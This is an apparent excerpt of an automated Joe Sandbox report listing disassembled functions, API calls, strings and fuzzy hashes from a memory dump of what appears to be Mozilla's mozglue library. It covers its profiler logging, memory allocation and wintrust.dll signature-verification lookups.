Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 8c7fd14538c0f82d0321f69fb9284aa19c91cf938507b613d8780d102ecdfb2c
Instruction ID: 76c9f93ea1f438f578b78e850a1c7d9f4415259dd92f1dbfce91dcd4f45fc895
Opcode Fuzzy Hash: 8c7fd14538c0f82d0321f69fb9284aa19c91cf938507b613d8780d102ecdfb2c
Instruction Fuzzy Hash: 3451BE7290021A8FCB00EF68C880A9AB7F1FF89364F604559DC19A7361E775F94ACB91

Function 6BF5E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6BF5E084,00000000), ref: 6BF5E137

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6BF5E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6BF5E1E9

Part of subcall function 6BF599A0: GetCurrentThreadId.KERNEL32 ref: 6BF599C1
Part of subcall function 6BF599A0: AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF599CE
Part of subcall function 6BF599A0: ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF599F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6BF5E13F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 293bbcb127c36760c1624a1acf1a0d37728fdb7c38a898302fe3436e892a9f63
Instruction ID: 709615f60d9db9289d9ed0ac8c2129019a64359b48393603d57ae1cad2d0b2a9
Opcode Fuzzy Hash: 293bbcb127c36760c1624a1acf1a0d37728fdb7c38a898302fe3436e892a9f63
Instruction Fuzzy Hash: 7B3139B3A047059FD704EF68844132EF7E6EFDA348F00842EE8954B262DB798909C792

Function 6BF50210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF50222
moz_xmalloc.MOZGLUE(0000000C), ref: 6BF50231

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF5028B
RtlFreeHeap.NTDLL ref: 6BF502F7

Strings

@, xrefs: 6BF502D8

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 32b5f5161096a179e7c63af28ec3a51a91cccd9344372e2ec75c35fb8ac09e4f
Instruction ID: b272e26203dbf99155465a61a0f86dcb6ce142681168d213454de878a306b533
Opcode Fuzzy Hash: 32b5f5161096a179e7c63af28ec3a51a91cccd9344372e2ec75c35fb8ac09e4f
Instruction Fuzzy Hash: 89310EB3A006158FEB50CF68C880B1AB7E1FF54708B14892DD95ADBB60D7B4EC11CB80

Function 6BF5E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5E04F

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6BF5E057

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: c306ee3f3ff67b6deeceab3f26923e5e9437c05262f0c592f54bc0189af23d69
Instruction ID: 91044a217025f4462fc87d847e1a06179b06eba4c515e9800f21a2461a7ef6bc
Opcode Fuzzy Hash: c306ee3f3ff67b6deeceab3f26923e5e9437c05262f0c592f54bc0189af23d69
Instruction Fuzzy Hash: E8210777A101098FDF04EF78D8596AEB7B5EF55208F044414EC0AD7361DB39E91AC7A1

Function 6BF7AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6BF3BFBD,.dll,00000000,00000000,00000000,6BF3BFBD), ref: 6BF7ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6BF7ABD8

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BF7ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6BF7AC03

Strings

.dll, xrefs: 6BF7ABB4, 6BF7ABFA

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: dfb30609aeb17d586f255967e294a2330c39307ef20aee904f920fd529709911
Instruction ID: 12c831e8e487c2911f7acd8715305b8ce9857b3faaf21ce7dc77e1af78913530
Opcode Fuzzy Hash: dfb30609aeb17d586f255967e294a2330c39307ef20aee904f920fd529709911
Instruction Fuzzy Hash: A501C0B3A0010A6FEB106F74AC49ABFB6ADEB81354F010035FD08E3220E67ADC5447B1

Function 6BF7A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9F770,-00000001,?,6BF8E330,?,6BF3BDF7), ref: 6BF7A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6BF3BDF7), ref: 6BF7A7C2
moz_xmalloc.MOZGLUE(00000018,?,6BF3BDF7), ref: 6BF7A7E4
LeaveCriticalSection.KERNEL32(6BF9F770), ref: 6BF7A80A

Strings

accelerator.dll, xrefs: 6BF7A7BF

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 6622b02ba4c43d216f7ddf8de01b48d31f7f60ad7374b3368220079e53f03e3e
Instruction ID: c2ff847f4f6ff720bd5a0d41e944fd5450c84de01b5dfd4e4b6991bb12ac2799
Opcode Fuzzy Hash: 6622b02ba4c43d216f7ddf8de01b48d31f7f60ad7374b3368220079e53f03e3e
Instruction Fuzzy Hash: 2C018F726103049FAF44EF15E885D1577F8EB8971070180BAF809CB262DB75EC05CBA2

Function 6BF1F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6BF1EE51,?), ref: 6BF1F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6BF1F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6BF1F0DC
Could not find CoTaskMemFree, xrefs: 6BF1F0E3
ole32, xrefs: 6BF1F0AD

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 21842b26e7bf9b6b1413dc40f251ad909b84949046d49771ad7b89d75ededaf7
Instruction ID: 25fe5eedad610627ec89d61f07f410bf17d33806f2a1b606519af1d2ec8df72b
Opcode Fuzzy Hash: 21842b26e7bf9b6b1413dc40f251ad909b84949046d49771ad7b89d75ededaf7
Instruction Fuzzy Hash: 3DE0D873558301ABBF447B7A781872637AC5B12305304843DF502D1A71EA3AE1048A31

Function 6BF501C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF27266), ref: 6BF501C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6BF501E7
FreeLibrary.KERNEL32(?,6BF27266), ref: 6BF501FE

Strings

CryptCATAdminReleaseContext, xrefs: 6BF501E1
wintrust.dll, xrefs: 6BF501C3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: f97c5a333bd135b699005fe27e1bf80ed0f709549b2ab10249268cb672158951
Instruction ID: 4827813fc33c0fcc739c815669f706306140538bad1c743a420ec52706904b94
Opcode Fuzzy Hash: f97c5a333bd135b699005fe27e1bf80ed0f709549b2ab10249268cb672158951
Instruction Fuzzy Hash: A6E09A764A03459FEFC1BF66980C7027BECAB17345F004425F915C1271DBB9D01E9B61

Function 6BF50170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF27308), ref: 6BF50178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6BF50197
FreeLibrary.KERNEL32(?,6BF27308), ref: 6BF501AE

Strings

wintrust.dll, xrefs: 6BF50173
CryptCATCatalogInfoFromContext, xrefs: 6BF50191

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 75e51dc67ddc5d2d82b9677d7a8f5d13330ba1cb2e443b018937aa3494481ceb
Instruction ID: 15e296d5fa38035ce3c5931b7adf888337e27d0d6128aa9844506567a4154171
Opcode Fuzzy Hash: 75e51dc67ddc5d2d82b9677d7a8f5d13330ba1cb2e443b018937aa3494481ceb
Instruction Fuzzy Hash: D7E09A764A02059BEFC07F65C908B017BECB717245F100477F98482271DBB9D05ACB61

Function 6BF50120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF27297), ref: 6BF50128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6BF50147
FreeLibrary.KERNEL32(?,6BF27297), ref: 6BF5015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6BF50141
wintrust.dll, xrefs: 6BF50123

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: ab1e760eb4ab05b81ae16205e1fbba874a3e08c294f99d76d48e74f3f35135f8
Instruction ID: 84d7179a30fae2ac93278cba11698c375252cc78771fbceac95aafafd2df5132
Opcode Fuzzy Hash: ab1e760eb4ab05b81ae16205e1fbba874a3e08c294f99d76d48e74f3f35135f8
Instruction Fuzzy Hash: A6E012764252049BEFC0BF2AD80C7023BECA703305F00402ABA04C2330DBB9E01A8F21

Function 6BF500D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF27235), ref: 6BF500D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6BF500F7
FreeLibrary.KERNEL32(?,6BF27235), ref: 6BF5010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6BF500F1
wintrust.dll, xrefs: 6BF500D3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 896736ccfe6a9cfd342e15f0240e8df743b2588d2d7b1a7405c16bfc876caed8
Instruction ID: d48c0e60f39288eecc3b8835aead7ae6ebc56d282c0e606b9b27efa57172b999
Opcode Fuzzy Hash: 896736ccfe6a9cfd342e15f0240e8df743b2588d2d7b1a7405c16bfc876caed8
Instruction Fuzzy Hash: B1E01A764203059BFF80BF2689097213FECA703306F104025BA0881230DBB9E09A8B11

Function 6BF50080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF27204), ref: 6BF50088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6BF500A7
FreeLibrary.KERNEL32(?,6BF27204), ref: 6BF500BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6BF500A1
wintrust.dll, xrefs: 6BF50083

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 1a870c8c25b12fed6a6cefb3885b1773bb3529dda3b31a545dceeb2681650ef4
Instruction ID: a086ed7fecff9e3220e360a1f0b5ff28a67063f62ef6a7bb3dbcac4709cb5bcc
Opcode Fuzzy Hash: 1a870c8c25b12fed6a6cefb3885b1773bb3529dda3b31a545dceeb2681650ef4
Instruction Fuzzy Hash: 66E09A764603059BEF94BF7A98187057BECA71B345F004426B925C2272D7B9E01A9B21

Function 6BF7BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6BF205BC), ref: 6BF7BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6BF7BAD7
FreeLibrary.KERNEL32(?,6BF205BC), ref: 6BF7BAEC

Strings

kernelbase.dll, xrefs: 6BF7BAB3
VirtualAlloc2, xrefs: 6BF7BAD1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: f7657749e39b6c2208e6210a87a47602df91b8d3e39d6fc4b11b64c6be6cb172
Instruction ID: 450598c726a250661ca420a4fd4589baf4391e36a6d8163ceb41aaa799e432f5
Opcode Fuzzy Hash: f7657749e39b6c2208e6210a87a47602df91b8d3e39d6fc4b11b64c6be6cb172
Instruction Fuzzy Hash: CCE0BF714243419BEFD0BF62D9187057BECA707305F1008BAB90481232EBBAD11E8B20

Function 6BF7C290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF277C5), ref: 6BF7C298
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle), ref: 6BF7C2B7
FreeLibrary.KERNEL32(?,6BF277C5), ref: 6BF7C2CC

Strings

wintrust.dll, xrefs: 6BF7C293
CryptCATAdminCalcHashFromFileHandle, xrefs: 6BF7C2B1

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle$wintrust.dll
API String ID: 145871493-1423897460
Opcode ID: 96fcf7bc8e5e1b30288fab4f76864d326314247f84867d6d8161a6036d37aed3
Instruction ID: 47e15d079a20ce460cf6a051d515ba9cf4cc3cabcc37c3a5886d5858dd39c9b7
Opcode Fuzzy Hash: 96fcf7bc8e5e1b30288fab4f76864d326314247f84867d6d8161a6036d37aed3
Instruction Fuzzy Hash: 4DE09275462201AFEFD0BB6999087027BECEB06244F54047AF90881631E7B9E00ACB60

Function 6BF7C240 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF277F6), ref: 6BF7C248
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext), ref: 6BF7C267
FreeLibrary.KERNEL32(?,6BF277F6), ref: 6BF7C27C

Strings

wintrust.dll, xrefs: 6BF7C243
CryptCATAdminAcquireContext, xrefs: 6BF7C261

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext$wintrust.dll
API String ID: 145871493-3357690181
Opcode ID: 48ed7f0ac8aeae4519a8e508a5e207eb570f3cdf5a616d004340fbb5379889e1
Instruction ID: 182bd7f728341f2a2265d4d16d1a1fcf2a1c281e43120a2817e163bc26a7222f
Opcode Fuzzy Hash: 48ed7f0ac8aeae4519a8e508a5e207eb570f3cdf5a616d004340fbb5379889e1
Instruction Fuzzy Hash: 8CE092754303019BEFD8BF6698087027BE8A70B304F10447AF924C2231E7B9E06A9B50

Function 6BF7C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6BF7C1DE,?,00000000,?,00000000,?,6BF2779F), ref: 6BF7C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6BF7C217
FreeLibrary.KERNEL32(?,6BF7C1DE,?,00000000,?,00000000,?,6BF2779F), ref: 6BF7C22C

Strings

WinVerifyTrust, xrefs: 6BF7C211
wintrust.dll, xrefs: 6BF7C1F3

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

